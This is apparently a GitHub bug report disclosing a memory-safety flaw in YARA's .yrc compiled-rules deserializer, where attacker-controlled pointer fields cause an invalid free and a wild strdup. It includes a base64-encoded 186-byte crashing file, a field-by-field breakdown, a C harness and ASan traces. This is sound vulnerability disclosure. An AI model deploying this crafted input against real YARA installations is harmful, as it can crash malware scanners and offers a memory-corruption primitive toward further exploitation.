Unvalidated external-variable pointers in the .yrc deserializer cause invalid free in yr_rules_destroy and wild-pointer strdup/strlen in yr_object_create (CWE-763)
Describe the bug
The external-variable table (YR_EXTERNAL_VARIABLE array, YR_EXTERNAL_VARIABLES_TABLE = 4) stored in a compiled-rules (.yrc) file holds pointer fields value.s and identifier. These fields are supposed to be YR_ARENA_REFs (buffer_id + offset) that relocation records at the end of the file patch into real pointers at load time. The deserializer copies the table into memory verbatim and never validates that these fields were patched or are in-bounds.
A crafted .yrc simply writes arbitrary 64-bit values into those fields. When the rules are later torn down or scanned, YARA dereferences them:
- Invalid free —
yr_rules_destroycallsyr_free(external->value.s)(rules.c:554). Withvalue.s = 0x6fthis frees a pointer that was never allocated (ASan: SEGV on address0x5fduring free). - Wild-pointer strdup/strlen —
yr_scanner_create→yr_object_createcallsyr_strdup(external->identifier)(object.c:97). Withidentifier = 0xffffffffffffffffthis reads/writes an unmapped address (ASan: SEGV on0xffffffffffffffe0inside__interceptor_strdup).
Both paths are reachable from the public API (yr_rules_load_stream / yara -C), and the attacker fully controls the freed/dereferenced address.
To Reproduce
Build YARA with ASan + UBSan (the invalid free and wild dereference are detected by ASan):
git clone https://github.com/VirusTotal/yara.git cd yara git checkout 604822da04103d13812dbcb08f4d7d42b61f94a8 ./bootstrap.sh CFLAGS="-O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer" \ LDFLAGS="-fsanitize=address,undefined" \ ./configure --disable-shared --enable-static make -j"$(nproc)"Write the exact 186-byte crashing .yrc. The base64 string below round-trips to the byte-identical crash input:
printf 'WUFSQRUMlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAAAAAAlgAAAAAAAAAYAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAAAAAArgAAAAAAAAAMAAAABQAAAAAAAABvAAAAAAAAAP//////////AAAAAAAAAAAAAAAA' | base64 -d > poc2.yrcStructural breakdown:
[0:6] "YARA" + version 0x15 (21) + num_buffers = 0x0c (12) [6:..] 12 buffer descriptors (8-byte offset + 4-byte size) buffer 4 (YR_EXTERNAL_VARIABLES_TABLE) size = 24 buffer 11 (YR_SUMMARY_SECTION) size = 12 buffer 4 data = one YR_EXTERNAL_VARIABLE entry: type = 5 (EXTERNAL_VARIABLE_TYPE_STRING / MALLOC_STRING) value.s = 0x000000000000006f <- invalid free target identifier = 0xffffffffffffffff <- wild strdup sourceReproduce via the real CLI (wild-pointer strdup path,
yr_scanner_create):./yara -C poc2.yrc /dev/null echo $?ASan report:
==1182658==ERROR: AddressSanitizer: SEGV on unknown address 0xffffffffffffffe0 (pc 0x7ffff69f4277 ...) The signal is caused by a READ memory access. #0 ... in __interceptor_strdup #1 ... in yr_strdup #2 ... in yr_object_create (libyara/object.c:97) #3 ... in yr_scanner_createReproduce the invalid-free path with a minimal load-then-destroy harness (
yr_rules_load_stream→yr_rules_destroy, exactly what the fuzz target does). Save asharness.c:#include <stdio.h> #include <stdlib.h> #include <string.h> #include <yara.h> int main(int argc, char **argv) { if (argc < 2) return 1; FILE *f = fopen(argv[1], "rb"); fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET); unsigned char *buf = malloc((size_t)sz); fread(buf, 1, (size_t)sz, f); fclose(f); yr_initialize(); YR_STREAM stream; memset(&stream, 0, sizeof(stream)); stream.data = buf; stream.data_size = (size_t)sz; YR_RULES *rules = NULL; yr_rules_load_stream(&stream, &rules); if (rules) yr_rules_destroy(rules); /* invalid free: yr_free(external->value.s = 0x6f) */ yr_finalize(); free(buf); return 0; }clang -O1 -g -fsanitize=address -fno-omit-frame-pointer -I. harness.c libyara/.libs/libyara.a -o yara_load_destroy -lpthread -lm ./yara_load_destroy poc2.yrcASan report:
==1182525==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000005f (pc 0x5555555a6893 ...) The signal is caused by a WRITE memory access. #0 ... in atomic_compare_exchange_strong ... ... free on an attacker-chosen pointer (external->value.s = 0x6f)
Expected behavior
The deserializer should validate external-variable pointer fields (value.s, identifier) after loading — reject entries whose pointer fields were not patched by relocation records or point outside the arena — and return a CORRUPT_FILE error. yr_free and yr_strdup should never be called on attacker-chosen addresses.
Screenshots
N/A
Please complete the following information:
- OS: Linux x86-64 (Ubuntu 22.04)
- YARA version: 4.5.8 (commit
604822da04103d13812dbcb08f4d7d42b61f94a8)
Additional context
- Deterministic: yes — the same 186-byte input always triggers both paths.
- Reachability:
.yrcdeserialization viayr_rules_load_stream; the invalid free fires on the teardown path (yr_rules_destroy, rules.c:554, reproduced with the load-then-destroy harness), the wild strdup fires on the scanning path (yr_scanner_create→yr_object_create, object.c:97, reproduced withyara -C <file>). - Severity: high. The attacker fully controls the 64-bit value passed to
free()and the address passed tostrdup/strlen. The invalid free is a release-of-invalid-pointer primitive; with a suitable allocator this can be leveraged beyond a crash. - CWE-763 (Release of Invalid Pointer or Reference).
Source: VirusTotal/yara